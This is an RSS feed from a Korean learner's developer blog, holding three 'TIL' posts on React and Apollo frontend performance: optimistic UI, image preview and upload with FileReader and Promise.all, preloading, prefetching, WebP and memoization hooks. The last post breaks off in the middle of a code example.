<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>code_J</title>
        <link>https://velog.io/</link>
        <description>Web FE 개발자 취준생 </description>
        <lastBuildDate>Mon, 01 May 2023 13:20:20 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>code_J</title>
            <url>https://velog.velcdn.com/images/code_june/profile/da0816b9-4600-483c-9c51-7efa7d8a8bd0/image.jpeg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. code_J. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/code_june" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 34일차: Optimistic-UI]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-34%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-34%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Mon, 01 May 2023 13:20:20 GMT</pubDate>
            <description><![CDATA[<h2 id="optimistic-ui옵티미스틱-ui">Optimistic-UI(옵티미스틱 UI)</h2>
<br/>

<p>우리가 어떤 게시글에 <strong>좋아요</strong>를 누르면 환경에 따라 좋아요 수가 올라가는 <strong>속도</strong>가 다르다. 왜 그럴까?</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/9b33fbed-421b-4011-88f2-04bec514ee96/image.png" alt=""></p>
<blockquote>
<p><strong>좋아요를 눌렀을 때 처리 과정</strong></p>
</blockquote>
<ol>
<li>백엔드에 api 요청, 백엔드는 DB에 요청 </li>
<li>DB는 좋아요 수를 올려두고 올린 좋아요 수 응답</li>
<li>백엔드는 해당 응답을 다시 브라우저에 응답</li>
</ol>
<p>환경에 따라 위 과정을 수행하는데 시간이 오래 걸릴 수도 있다. 이럴 때 <span style="color: orange"><strong>Optimistic UI</strong></span>를 사용할 수 있다.  </p>
<br/>

<p><code>Optimistic UI</code>는 요청이 서버에 도달하기도 전에 화면의 값을 바꾸는 것이다. 그리고 요청이 성공하고 나면 응답으로 돌아온 값을 다시 화면에 업데이트한다. 이 과정에서 유저는 변화를 눈치채지 못한다. </p>
<p>만약 중간에 요청이 <strong>실패</strong>한다면 이전의 값을 응답으로 보내주고 이전의 값을 화면에 업데이트 해준다(<code>롤백</code>). </p>
<Br/>

<p>따라서 <code>Optimistic-UI</code>는 성공을 99% 확신하는 api에 사용해야 한다. 롤백(실패)되어도 큰 이슈가 없는 것에만 사용하자!</p>
<p>예를 들어, <strong>결제 후 잔여 금액</strong>과 같은 중요한 api는 속도에 상관없이 제대로 절차를 거쳐서 동작해야 하지만, <strong>좋아요</strong>와 같은 api는 속임수를 써서 빠르게 처리할 수 있다.  </p>
<br/>

<p>아래 그림은 좋아요를 눌렀을 때 데이터 처리 과정을 나타낸 것이다. (위: 기존 방식, 아래: <strong>Optimistic-UI</strong>)</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/e0a2c512-3a98-4484-a7ee-ba3853417e22/image.png" alt=""></p>
<br/>

<p>좋아요를 올리는 api인, <strong>likeBoard</strong> 요청에 <code>Optimistic-UI</code>를 사용해봤다.</p>
<pre><code class="language-javascript">// import 부분 생략

// 게시글 조회 api에서 좋아요 갯수만 뽑아 오기
const FETCH_BOARD = gql`
    query fetchBoard($boardId: ID!){
        fetchBoard(boardId: $boardId){
            _id
            likeCount
        }
    }
`

//좋아요 카운트 올리는 api
const LIKE_BOARD = gql`
    mutation likeBoard($boardId:ID!){
        likeBoard(boardId:$boardId)
    }
`

export default function(){
    const [likeBoard] = useMutation&lt;Pick&lt;IMutation,&quot;likeBoard&quot;&gt;,IMutationLikeBoardArgs&gt;(LIKE_BOARD)
    const { data } = useQuery(FETCH_BOARD,
        {variables :{boardId : &quot;게시글 아이디 넣어주세요!&quot;} })

    const onClickLike = ()=&gt;{
        //likeBoard 뮤테이션 함수를 실행하겠습니다.
        void likeBoard({
            variables :{
                boardId : &quot;게시글 아이디 넣어주세요!&quot;
            },

// (기존 방식) 응답을 받고난 후 받아온 응답을 다시 fetch 해줌 -&gt; 느리고 효율적이지 못함(백엔드에 요청을 한번더 해야 하고 받아올 때까지 기다려야 함)
        //refetchQueries: [
        //    {
        //        query: FETCH_BOARD,
        //        variables : {    boardId : &quot;//게시글 아이디 넣어주세요!&quot; }
        //    }
        // ]

// 옵티미스틱 UI -&gt; 캐시를 바꾸고 캐시값을 받아오는걸 기다리지 않고 바로 바꿔줌
        optimisticResponse: {
            likeBoard : (data?.fetchBoard.likeCount || 0)+1
                         },
// apollo 캐시 직접 수정(백엔드 캐시 X) -&gt; 느리지만 효율적(백엔드에 요청은 안하지만, 받아올 때까지 기다려줘야 함)
            update(cache,{data}){
// 이전 시간에는 modify를 사용했지만, 오늘은 writeQuery를 사용해보겠습니다.
                cache.writeQuery({
                    query : FETCH_BOARD,
                    variables : {boardId:&#39;게시글 아이디 넣어주세요!&#39;}
                    //어떻게 수정할 것인지는 아래에 적어줌
                    data: {
                        // 기존값과 똑같이 받아와야 함
                        fetchBoard: {
                            _id : &#39;게시글 아이디 넣어주세요!&#39;,
                            __typename : &quot;Board&quot;
                            likeCount: data?.likeBoard
                        }
                    }
                })
            }
        })
    }

    return(
        &lt;div&gt;
                &lt;h1&gt;옵티미스틱 UI&lt;/h1&gt;
                &lt;div&gt;현재카운트(좋아요):{data.fetchBoard.likeCount}&lt;/div&gt;
                &lt;button onClick={onClickOptimisticUI}&gt;좋아요 올리기!!&lt;/button&gt;
        &lt;/div&gt;
    )
} </code></pre>
<p><code>optimistic-ui</code>를 적용하면 컴퓨터 환경에 상관없이 유저 모두가 빠른 서비스를 이용하는 것처럼 보일 수 있다. 상황에 따라 데이터가 중요하지 않고 실패 확률이 극히 낮을 경우 사용해주면 좋다!</p>
<p><br/><br/></p>
<h4 id="정리-성능-최적화를-위한-8가지-전략">정리) 성능 최적화를 위한 8가지 전략!</h4>
<p><img src="https://velog.velcdn.com/images/code_june/post/415a625b-1ba9-4dec-8b7c-9f083317535e/image.png" alt=""></p>
<p>위의 8가지 전략은 반드시 사용해야 하는 것은 아니다. 상황과 환경에 맞게 장단점을 잘 고려해서 사용하면, 사용자의 만족도를 높이는 전략이 될 수 있다.</p>
<p><br/><br/></p>
<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 33일차: 이미지 성능 개선(임시 URL, Promise.all(), LazyLoad vs PreLoad, Prefetch, Webp)]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-33%EC%9D%BC%EC%B0%A8-%EC%9D%B4%EB%AF%B8%EC%A7%80-%EC%84%B1%EB%8A%A5-%EA%B0%9C%EC%84%A0%EC%9E%84%EC%8B%9C-URL-Promise.all-LazyLoad-vs-PreLoad-Prefetch-Webp</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-33%EC%9D%BC%EC%B0%A8-%EC%9D%B4%EB%AF%B8%EC%A7%80-%EC%84%B1%EB%8A%A5-%EA%B0%9C%EC%84%A0%EC%9E%84%EC%8B%9C-URL-Promise.all-LazyLoad-vs-PreLoad-Prefetch-Webp</guid>
            <pubDate>Mon, 01 May 2023 13:07:31 GMT</pubDate>
            <description><![CDATA[<h2 id="이미지-성능-높이기">이미지 성능 높이기</h2>
<br/>

<h3 id="기존-이미지-업로드에서의-문제점">기존 이미지 업로드에서의 문제점</h3>
<blockquote>
<ol>
<li>다른 사람 컴퓨터에 해당 이미지가 없을 경우 오류 발생</li>
<li>업로드하다가 중단 시에 이미지 데이터가 지워지지 않고 남음</li>
</ol>
</blockquote>
<p>위와 같은 문제점은 이미지 주소를 <strong>서버</strong>에서 가져오는 것이 아니라, 미리보기 용으로 만든 <strong>임시 주소</strong>를 만들어서 해결할 수 있다. 여기서 임시 주소는 브라우저에서 접속 가능한 임시 URL이다.</p>
<br/>

<h3 id="임시-url-받아오기">임시 URL 받아오기</h3>
<p>임시 URL을 만드는 방법은 2가지가 있다.</p>
<blockquote>
<ol>
<li>가짜 URL 생성하기(내 브라우저에서만 이미지에 접근 가능)</li>
<li>진짜 URL 생성하기(<strong>다른 브라우저</strong>에서도 이미지에 접근 가능)</li>
</ol>
</blockquote>
<br/>

<h4 id="첫-번째-방법-가짜-url-생성내-브라우저에서만-이미지에-접근-가능">첫 번째 방법: 가짜 URL 생성(내 브라우저에서만 이미지에 접근 가능)</h4>
<pre><code class="language-javascript">export default function ImageUploadPreviewPage() {
    const [imageUrl, setImageUrl] = useState(&quot;&quot;)

    const onChangeFile=(event: ChangeEvent&lt;HTMLInputElement&gt;)=&gt; {
        const file = event.target.files?.[0]
        console.log(file);
            // 파일이 없으면 함수를 종료
            if (!file) {
                alert(&quot;파일이 없습니다.&quot;);
                return
            }

    // 1. 임시 URL 생성 -&gt; 가짜 URL생성, 내 브라우저에서만 접근 가능
    const result = URL.createObjectURL(file)
    console.log(result)
    setImageUrl(result)

}
    return (
        &lt;&gt;
            &lt;div&gt;
                &lt;input type=&quot;file&quot; onChange={onChangeFile} /&gt;
                &lt;img src={imageUrl}/&gt;
            &lt;/div&gt;
        &lt;/&gt;
    );
}</code></pre>
<br/>

<h4 id="두-번째-방법-진짜-url-생성다른-브라우저에서도-이미지-접근-가능">두 번째 방법: 진짜 URL 생성(다른 브라우저에서도 이미지 접근 가능)</h4>
<p><code>new FileReader()</code> 기능은 파일 객체를 이용해 내용을 읽고 사용자 컴퓨터에 저장하는 것을 가능하게 해주는 브라우저에서 지원해주는 기능이다. <code>new FileReader()</code> 를 사용하면 new FileReader()에 있는 기능들을 이용할 수 있다. </p>
<pre><code class="language-javascript">// 아래 코드를 제외하고 첫 번째 방법과 코드 동일

// 2. 임시 URL생성 -&gt; 진짜 URL생성, 다른 브라우저에서도 접근 가능    
        const fileReader = new FileReader()
        // readAsDataURL(): Data URL을 얻을 수 있음.
        fileReader.readAsDataURL(file);
 // 파일 읽기에 성공하면 onload 실행. 
// onload에서는 파일을 읽고 생성된 Data URL이 target.result에 담기게 됨.
        fileReader.onload = (data) =&gt; {
            // fileReader의 결과값이 string이 아닐 수도 있으니 string일때만 실행되도록 함.
            if(typeof data.target?.result === &quot;string&quot;){
                console.log(data.target?.result);
                setImageUrl(data.target?.result)
            }    
        }

   // return 값 첫 번째 방법과 동일</code></pre>
<br/>

<h3 id="임시-url로-api-요청하기">임시 URL로 API 요청하기</h3>
<p>임시 URL을 받아오는 방법 중 두 번째 방법(<strong>진짜 URL 받아오기</strong>)을 사용해서 <strong>API</strong>를 요청했다.</p>
<p>여기서 임시 URL은 <strong>미리보기 파일</strong>이기 때문에 올바른 형태의 <code>file</code> 타입이 아니다. 따라서 다음과 같이 코드를 작성해야 한다.</p>
<pre><code class="language-javascript">// import 부분 생략

const CREATE_BOARD = gql`
  mutation createBoard($createBoardInput: CreateBoardInput!) {
    createBoard(createBoardInput: $createBoardInput) {
      _id
    }
  }
`;

const UPLOAD_FILE = gql`
  mutation uploadFile($file: Upload!) {
    uploadFile(file: $file) {
      url
    }
  }
`;

export default function ImageUploadPage() {
    // imageUrl은 미리보기를 위한 주소이므로 해당 URL을 스토리지나, DB에 넣어서는 안됨.
  const [imageUrl, setImageUrl] = useState(&quot;&quot;);
    // DB에 넣기 위한 URL주소
  const [file, setFile] = useState&lt;File&gt;();

  const [ uploadFile ] = useMutation&lt;Pick&lt;IMutation, &quot;uploadFile&quot;&gt;,IMutationUploadFileArgs&gt;(UPLOAD_FILE);
    const [ 나의함수 ] = useMutation(CREATE_BOARD);

    // 받아온 주소로 api 요청
  const onClickSubmit = async () =&gt; {
        // 스토리지에 업로드 
    const resultFile = await uploadFile({ variables: { file } });
    const url = resultFile.data?.uploadFile.url;

        // 게시글에 이미지 등록
    const result = await 나의함수({
      variables: {
        createBoardInput: {
          writer: &quot;철수&quot;,
          password: &quot;1234&quot;,
          title: &quot;안녕하세요&quot;,
          contents: &quot;반갑습니다&quot;,
          images: [url],
        },
      },
    });
    console.log(result);
  };

  const onChangeFile = async (event: ChangeEvent&lt;HTMLInputElement&gt;) =&gt; {
    const file = event.target.files?.[0]; 
    // &lt;input type=&quot;file&quot; multiple /&gt; 에서 multiple 속성으로 여러 개 드래그 가능
    if (!file) return;
    console.log(file);

    // 2. 임시URL 생성 =&gt; (진짜URL - 다른 브라우저에서도 접근 가능)
    const fileReader = new FileReader();
    fileReader.readAsDataURL(file);
    fileReader.onload = (event) =&gt; {
      if (typeof event.target?.result === &quot;string&quot;) {
        console.log(event.target?.result); 
        // 미리보기용
        setImageUrl(event.target?.result);
        // DB에 넣어주기용
        setFile(file);
  };

  return (
    &lt;&gt;
      &lt;input type=&quot;file&quot; onChange={onChangeFile} /&gt;
      &lt;img src={imageUrl} /&gt;
      {/* &lt;img src={`https://storage.googleapis.com/${imageUrl}`} /&gt; */}

      &lt;button onClick={onClickSubmit}&gt;게시글 등록하기&lt;/button&gt;
    &lt;/&gt;
  );
}</code></pre>
<blockquote>
<p><strong>createObjectURL?</strong>
createObjectURL과 fileReader 모두 이미지 업로드 시 이미지를 불러와서 미리보기를 할 수 있다. <strong>createObjectURL</strong>을 사용하면 소스코드가 짧아져서 작성하기 쉽지만, fileReader와 달리 <strong>blob</strong> 객체로 이미지를 생성하기 때문에 해당 데이터를 서버와 통신할 때 사용할 수 없다! 또한, <strong>fileReader</strong>가 브라우저 호환성도 더 좋기 때문에 fileReader를 사용하자.</p>
</blockquote>
<br/>

<h3 id="promise--promiseall">Promise &amp; Promise.all()</h3>
<Br/>

<h4 id="promise">Promise</h4>
<p>아래 코드를 실행시키면 result1부터 2, 3까지 차례로 실행되고 총 <strong>6초</strong>의 시간이 걸린다.</p>
<pre><code class="language-javascript">const startPromise = async () =&gt; {
  // console.time: 시간 측정
        console.time(&quot;=== 개별 Promise 각각 ===&quot;);
        const result1 = await new Promise((resolve, reject) =&gt; {
          setTimeout(() =&gt; {
            resolve(&quot;성공&quot;);
          }, 2000);
        });
        const result2 = await new Promise((resolve, reject) =&gt; {
          setTimeout(() =&gt; {
            resolve(&quot;성공&quot;);
          }, 3000);
        });
        const result3 = await new Promise((resolve, reject) =&gt; {
          setTimeout(() =&gt; {
            resolve(&quot;성공&quot;);
          }, 1000);
        });
        console.timeEnd(&quot;=== 개별 Promise 각각 ===&quot;);
      };</code></pre>
<br/>

<h4 id="span-stylecolor-orangepromiseallspan"><span style="color: orange">Promise.all()</span></h4>
<p>반면, <code>Promise.all()</code>을 사용하면 Promise.all()에 포함된 함수들을 <strong>동시에</strong> 실행하기 때문에 약 <strong>3초</strong>의 시간이 걸린다. </p>
<pre><code class="language-javascript">    const startPromiseAll = async () =&gt; {
        // await Promise.all([promise, promise, promise])

        console.time(&quot;=== 한방 Promise.all ===&quot;);
        const result = await Promise.all([
          new Promise((resolve, reject) =&gt; {
            setTimeout(() =&gt; {
              resolve(&quot;성공&quot;);
            }, 2000);
          }),
          new Promise((resolve, reject) =&gt; {
            setTimeout(() =&gt; {
              resolve(&quot;성공&quot;);
            }, 3000);
          }),
          new Promise((resolve, reject) =&gt; {
            setTimeout(() =&gt; {
              resolve(&quot;성공&quot;);
            }, 1000);
          }),
        ]);
        console.log(result);
        console.timeEnd(&quot;=== 한방 Promise.all ===&quot;);
      };</code></pre>
<p><code>Promise.all()</code>의 결과값은 Promise와 마찬가지로 배열에 &#39;성공&#39; 3개가 나란히 들어온다. Promise와 같은 기능을 하지만, <strong>시간</strong>은 훨씬 단축시켜준다!</p>
<br/>

<h3 id="promiseall을-사용한-다중-이미지-업로드">Promise.all()을 사용한 다중 이미지 업로드</h3>
<p>여러 이미지를 한번에 올리기 위해 <code>promise.all()</code>과 <code>map</code>을 함께 사용했다. </p>
<pre><code class="language-javascript">// import 부분 생략

// CREATE_BOARD API gql 코드 생략
// UPLOAD_FILE API gql 코드 생략

export default function ImageUploadPage() {
  const [imageUrls, setImageUrls] = useState([&quot;&quot;, &quot;&quot;, &quot;&quot;]);
  // 이미지 url 3개가 들어갈 배열 만들기
  const [files, setFiles] = useState&lt;File[]&gt;([]);

  const [uploadFile] = useMutation&lt;
    Pick&lt;IMutation, &quot;uploadFile&quot;&gt;,
    IMutationUploadFileArgs
  &gt;(UPLOAD_FILE);

  const [나의함수] = useMutation(CREATE_BOARD);

  const onClickSubmit = async () =&gt; {
    // Promise.all 사용!
     const results = await Promise.all([
       uploadFile({ variables: { file: files[0] } }),
       uploadFile({ variables: { file: files[1] } }),
       uploadFile({ variables: { file: files[2] } }),
     ]);
     console.log(results); // [resultFile0, resultFile1, resultFile2]

    // map 사용!
     const resultUrls = results.map((el) =&gt; (el ? el.data?.uploadFile.url : &quot;&quot;)); // [dog1.jpg, dog2.jpg, dog3.jpg]

    const result = await 나의함수({
      variables: {
        createBoardInput: {
          writer: &quot;철수&quot;,
          password: &quot;1234&quot;,
          title: &quot;안녕하세요&quot;,
          contents: &quot;반갑습니다&quot;,
          images: resultUrls, // [url0, url1, url2]
        },
      },
    });
    console.log(result);
  };

  const onChangeFile =
    (index: number) =&gt; async (event: ChangeEvent&lt;HTMLInputElement&gt;) =&gt; {
      const file = event.target.files?.[0]; // &lt;input type=&quot;file&quot; multiple /&gt; 에서 multiple 속성으로 여러 개 드래그 가능
      if (!file) return;
      console.log(file);

      // 2. 임시URL 생성 =&gt; (진짜URL - 다른 브라우저에서도 접근 가능)
      const fileReader = new FileReader();
      fileReader.readAsDataURL(file);
      fileReader.onload = (event) =&gt; {
        if (typeof event.target?.result === &quot;string&quot;) {
          console.log(event.target?.result); 

          const tempUrls = [...imageUrls];
          tempUrls[index] = event.target?.result;
          setImageUrls(tempUrls);

          const tempFiles = [...files];
          tempFiles[index] = file;
          setFiles(tempFiles);
    };

  return (
    &lt;&gt;
      &lt;input type=&quot;file&quot; onChange={onChangeFile(0)} /&gt;
      &lt;input type=&quot;file&quot; onChange={onChangeFile(1)} /&gt;
      &lt;input type=&quot;file&quot; onChange={onChangeFile(2)} /&gt;
      &lt;img src={imageUrls[0]} /&gt;
      &lt;img src={imageUrls[1]} /&gt;
      &lt;img src={imageUrls[2]} /&gt;

      &lt;button onClick={onClickSubmit}&gt;게시글 등록하기&lt;/button&gt;
    &lt;/&gt;
  );
}</code></pre>
<p>여기서 <strong>반복</strong>되는 부분의 소스코드를 <strong>반복문</strong>을 통해 간결하게 바꿔보았다.</p>
<pre><code class="language-javascript">const onClickSubmit = async () =&gt; {
    // 1. Promise.all 썼을 때
    // const results = await Promise.all([
    //   uploadFile({ variables: { file: files[0] } }),
    //   uploadFile({ variables: { file: files[1] } }),
    //   uploadFile({ variables: { file: files[2] } }),
    // ]);
    // console.log(results); // [resultFile0, resultFile1, resultFile2]
    // const resultUrls = results.map((el) =&gt; (el ? el.data?.uploadFile.url : &quot;&quot;)); // [dog1.jpg, dog2.jpg, dog3.jpg]

    // 2. Promise.all 썼을 때 - 리팩토링 
    // files - [File0, File1, File2]
    // files.map(el =&gt; uploadFile({ variables: { file: el } })) // [uploadFile({ ...: File0 }), uploadFile({ ...: File1 }), uploadFile({ ...: File2 })]
    const results = await Promise.all(
      files.map((el) =&gt; el &amp;&amp; uploadFile({ variables: { file: el } }))
    );
    console.log(results); // [resultFile0, resultFile1, resultFile2]
    const resultUrls = results.map((el) =&gt; (el ? el.data?.uploadFile.url : &quot;&quot;)); // [dog1.jpg, dog2.jpg, dog3.jpg]</code></pre>
<br/>

<h3 id="span-stylecolor-orangelazyload-vs-preloadspan"><span style="color: orange">LazyLoad vs PreLoad</span></h3>
<br/>

<h4 id="lazyload">LazyLoad</h4>
<p><strong>페이지 렌더링</strong> 시 중요하지 않은 리소스의 로딩을 나중으로 미루는 기술이다.</p>
<p>예를 들어 이미지가 10장이 넘는 페이지가 있다고 하면, 한번에 10장 모두 다 로드될 때까지 기다리면, 페이지의 <strong>로딩</strong>이 길어질 것이다. </p>
<p>하지만, 맨 위의 화면에 보이는 이미지만 로드한 후에 <strong>스크롤</strong>을 내리면서 이미지가 보여져야 할 때 이미지를 로드한다면, 데이터 낭비를 막을 수 있다!</p>
<br/>

<h4 id="preload">PreLoad</h4>
<p><code>PreLoad</code>는 페이지를 읽을 때 미리 리소스를 <strong>받아놓는</strong> 기술이다. LazyLoad에서의 예시와 같이 이미지가 10장이 넘는 페이지가 있다고 해보자. PreLoad의 경우 모든 데이터들을 <strong>미리 로드</strong>해놓고 <strong>대기</strong>하는 방식이라고 보면 된다. </p>
<br/>

<p>다음은 다른 페이지로 이동하기 전에 이미지를 <strong>미리</strong> 받아오는 기능을 구현한 소스코드다.</p>
<pre><code class="language-javascript">import { useRouter } from &quot;next/router&quot;;
import { useEffect } from &quot;react&quot;;

const qqq = [];

export default function ImagePreloadPage(): JSX.Element {
  const router = useRouter();

  useEffect(() =&gt; {
    // 이미지 태그 생성
    const img = new Image();
    // img.src = &quot;용량큰배너이미지.jpg&quot;;
    img.src = &quot;/IMG_9822.PNG&quot;;
    // img 태그가 onload 되었을 때 
    // 이미지들을 qqq 배열에 넣어줌
    img.onload = () =&gt; {
      qqq.push(img);
    };
  });

  const onClickMove = (): void =&gt; {
    void router.push(&quot;/section31/31-09-image-preload-moved&quot;);
  };

  return &lt;button onClick={onClickMove}&gt;페이지 이동하기&lt;/button&gt;;
}</code></pre>
<br/>

<h3 id="prefetch">Prefetch</h3>
<p>게시글 목록을 불러오고, 목록 중 하나에 <strong>마우스</strong>를 가져다 놨을 때 <strong>미리</strong> 게시글 데이터를 불러오는 기능을 구현해보았다.</p>
<pre><code class="language-javascript">// import 부분 생략

const FETCH_BOARDS = gql`
  query fetchBoards($page: Int) {
    fetchBoards(page: $page) {
      _id
      writer
      title
      contents
    }
  }
`;

const FETCH_BOARD = gql`
  query fetchBoard($boardId: ID!) {
    fetchBoard(boardId: $boardId) {
      _id
      writer
      title
      contents
    }
  }
`;

export default function StaticRoutedPage() {
  const router = useRouter();
  const client = useApolloClient();
  const { data, refetch } = useQuery&lt;
    Pick&lt;IQuery, &quot;fetchBoards&quot;&gt;,
    IQueryFetchBoardsArgs
  &gt;(FETCH_BOARDS);

  console.log(data?.fetchBoards);

 // cache에 해당 데이터 저장되고, 페이지 이동하면 백엔드에 가지 않고, cache에 있는 것을 가지고 옴.
  const prefetchBoard = (boardId: string) =&gt; async () =&gt; {
    await client.query({
      query: FETCH_BOARD,
      variables: { boardId },
    });
  };

  const onClickMove = (boardId: string) =&gt; () =&gt; {
    void router.push(`/32-08-data-prefetch-moved/${boardId}`);
  };

  return (
    &lt;&gt;
      {data?.fetchBoards.map((el) =&gt; (
        &lt;div key={el._id}&gt;
          &lt;span style={{ margin: &quot;10px&quot; }}&gt;{el.writer}&lt;/span&gt;
                {/* 마우스를 올렸을 때 data를 받아오도록 */}
          &lt;span
            style={{ margin: &quot;10px&quot; }}
            onMouseOver={prefetchBoard(el._id)}
            onClick={onClickMove(el._id)}
          &gt;
            {el.title}
          &lt;/span&gt;
        &lt;/div&gt;
      ))}
    &lt;/&gt;
  );
}</code></pre>
<p><strong>미리</strong> 게시글 데이터를 불러놓으면, 게시글을 클릭해서 상세 페이지로 들어갔을 때 더 빠르게 게시글 데이터를 불러올 수 있게 된다! </p>
<br/>

<h2 id="이미지-성능-관련-유용한-사이트">이미지 성능 관련 유용한 사이트</h2>
<br/>

<h3 id="google-pagespeed-insights">Google PageSpeed Insights</h3>
<p>실제 <strong>배포</strong>를 진행하고 나서, 내가 배포한 페이지의 <strong>개선할 점</strong>을 찾을때 유용한 사이트다.</p>
<br/>

<h3 id="이미지-webp-확장자">이미지 Webp 확장자</h3>
<p>png, jpeg와 같은 이미지 확장자다. 이미지 서버의 부담을 줄이고, 서버비를 아끼기 위해 구글에서 만들었다.</p>
<h4 id="webp의-장점">Webp의 장점</h4>
<p>Webp는 GIF, PNG, JPEG 확장자 모두 대체 가능한 확장자이고, 이미지를 파일을 압축했을 때 기존 PNG, JPEG보다 약 <strong>30%</strong>정도 용량을 줄일 수 있다!</p>
<br/>

<h4 id="webp-확장자-변환하기">Webp 확장자 변환하기</h4>
<p><a href="https://cloudconvert.com/">Webp 확장자 변환 사이트</a></p>
<blockquote>
<p><strong>사용방법!</strong>
Select File 클릭 &gt; 어떤 파일로 변환할지 선택(Webp 선택) &gt; convert 클릭</p>
</blockquote>
<p><br/><br/></p>
<h2 id="이미지-라이브러리">이미지 라이브러리</h2>
<blockquote>
<ol>
<li><strong>React-lazy-load</strong>: 스크롤이 내려가면서 해당 이미지가 들어가 있는 컴포넌트가 등장할 때 이미지 다운로드</li>
<li><strong>React-dropzone</strong>: 드래그 앤 드랍</li>
<li><strong>React-avator-editor</strong></li>
<li><strong>ant-design</strong></li>
<li><strong>React-beautiful-dnd</strong></li>
</ol>
</blockquote>
<br/>

<blockquote>
<p><strong>참고! 그 외의 유용한 사이트!</strong>
<strong>wappalyzer</strong>(크롬 확장 프로그램): 특정 페이지에서 사용하는 기술 알 수 있다.
<strong>코드너리</strong>: 기업별 쓰는 기술</p>
</blockquote>
<br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 32일차: 성능최적화(memoization, useCallback(), useMemo(), React memo, CRP, Reflow & Repaint, prefetch & preload)]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-32%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-32%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Mon, 01 May 2023 13:04:41 GMT</pubDate>
            <description><![CDATA[<p>32일차부터 34일차는 <code>성능최적화</code>에 대해서 공부할 예정이다. </p>
<p>코드의 <strong>안정성</strong>, <strong>확장성</strong>(컴포넌트 만들어서 가져다 쓰는 것), <strong>성능</strong>, <strong>유지보수성</strong>까지 고려해서 코드를 작성하는 능력이 개발자로서 필요한 능력이기 때문에 <code>성능최적화</code>는 중요한 파트라고 할 수 있다.</p>
<br/>

<h2 id="memoization">memoization</h2>
<p>불필요한 리렌더링이 많아질수록 성능은 저하된다. 따라서 <strong>리렌더링</strong>을 줄여줄 필요가 있다. </p>
<br/>

<h3 id="usecallback-usememo">useCallback(), useMemo()</h3>
<pre><code class="language-javascript">const containerPage = ()=&gt;{
    console.log(&quot;컨테이너가 렌더링 됩니다.&quot;)

    let countLet = 0
    const [countState,setCountState] = useState(0)

    const onClickCountLet = ()=&gt;{
        console.log(countLet+1)
        countLet += 1
    }

    const onClickCountState = ()=&gt;{
        console.log(countState+1)
        setCountState(countState+1)
    }

    return(
        &lt;div&gt; 
            &lt;div&gt;================&lt;div&gt; 
            &lt;h1&gt;이것은 컨테이너 입니다.&lt;/h1&gt;

            &lt;div&gt; 카운트(let): {countLet} &lt;/div&gt;
            &lt;button onClick={onClickCountLet}&gt; 카운트(let) +1 올리기! &lt;/button&gt;

            &lt;div&gt; 카운트(state): {countLet} &lt;/div&gt;
            &lt;button onClick={onClickCountState}&gt; 카운트(state) +1 올리기! &lt;/button&gt;
            &lt;div&gt;================&lt;div&gt;
        &lt;/div&gt;
    )
}

export default containerPage</code></pre>
<p>위의 코드를 실행시켜서 <code>let</code> 버튼을 누르면 콘솔 값은 올라가지만 리렌더는 일어나지 않아 &quot;컨테이너가 렌더링 됩니다.&quot;라는 콘솔이 찍히지 않고 있으며, 화면에는 계속 0이 나타난다. 하지만 <code>state</code> 버튼을 누르면 <strong>리렌더링</strong>이 일어나고 숫자가 올라갔던 <strong>countLet</strong>이 0으로 초기화된다. 즉, <code>useState</code>를 제외한 모든 값이 다시 그려진다.</p>
<br/>

<p>다음으로 아래 파일을 만들어서 위 페이지에 import를 해보자.</p>
<pre><code class="language-javascript">// 자식 파일
const MemoizationPresenterPage = ()=&gt;{
    console.log(&quot;프리젠터가 렌더링 됩니다.&quot;)

    return(
        &lt;div&gt;  
            &lt;div&gt;================&lt;div&gt;
            &lt;h1&gt;이것은 프리젠터 입니다.&lt;/h1&gt;
            &lt;div&gt;================&lt;div&gt;
        &lt;/div&gt;
    )
}

export default MemoizationPresenterPage</code></pre>
<br/>

<pre><code class="language-JSX">// 부모 파일
return(
        // 생략
            &lt;div&gt;================&lt;div&gt;

        &lt;MemoizationPresenterPage/&gt;
        &lt;/div&gt;
    )
}

export default containerPage</code></pre>
<p>이제 새로고침을 하면 콘솔에 “컨테이너가 렌더링 됩니다.” 와 “프리젠터가 렌더링 됩니다.” 가 찍힌다.</p>
<p>그런데 <strong>부모</strong>의 state를 바꾸면 <strong>자식</strong> 파일에서도 리렌더링이 일어나는 것을 볼 수 있다. 굉장히 비효율적이다. 이 부분을 최적화 하기 위해서 <strong>react developer tools</strong>를 설치해서 살펴보자.</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/bbae01d5-c432-45d5-8d4b-de606a06860b/image.png" alt=""></p>
<blockquote>
<p>react developer tools 설치 후 개발자 도구의 <strong>profiler</strong> 탭 활용하기</p>
</blockquote>
<p>profiler에서 빨간색으로 박스 친 설정은 <strong>렌더링될 대상</strong>일 때 영역을 표시해주는 설정이다. 체크를 한 후에 <code>state</code> 카운트 버튼을 누르면 부모와 자식 영역이 동시에 렌더링 대상임을 볼 수 있다. 반면 <code>let</code> 카운트 버튼을 누르면 아무일도 일어나지 않는다. 즉, 버튼을 눌러도 렌더링이 일어나지 않는다는 것이다.</p>
<br/>

<p>불필요한 값들이 지속적으로 다시 만들어지는 않도록 유지시켜주는 hooks가 있다! 바로 <span style="color: red"><code>useMemo()</code></span>와 <span style="color: red"><code>useCallback()</code></span>이다. 두 가지를 사용하는 방법은 다음과 같다.</p>
<pre><code class="language-javascript">import { useCallback, useMemo, useState } from &quot;react&quot;;
// useCallback, useMemo는 react에서 import해줘야 함
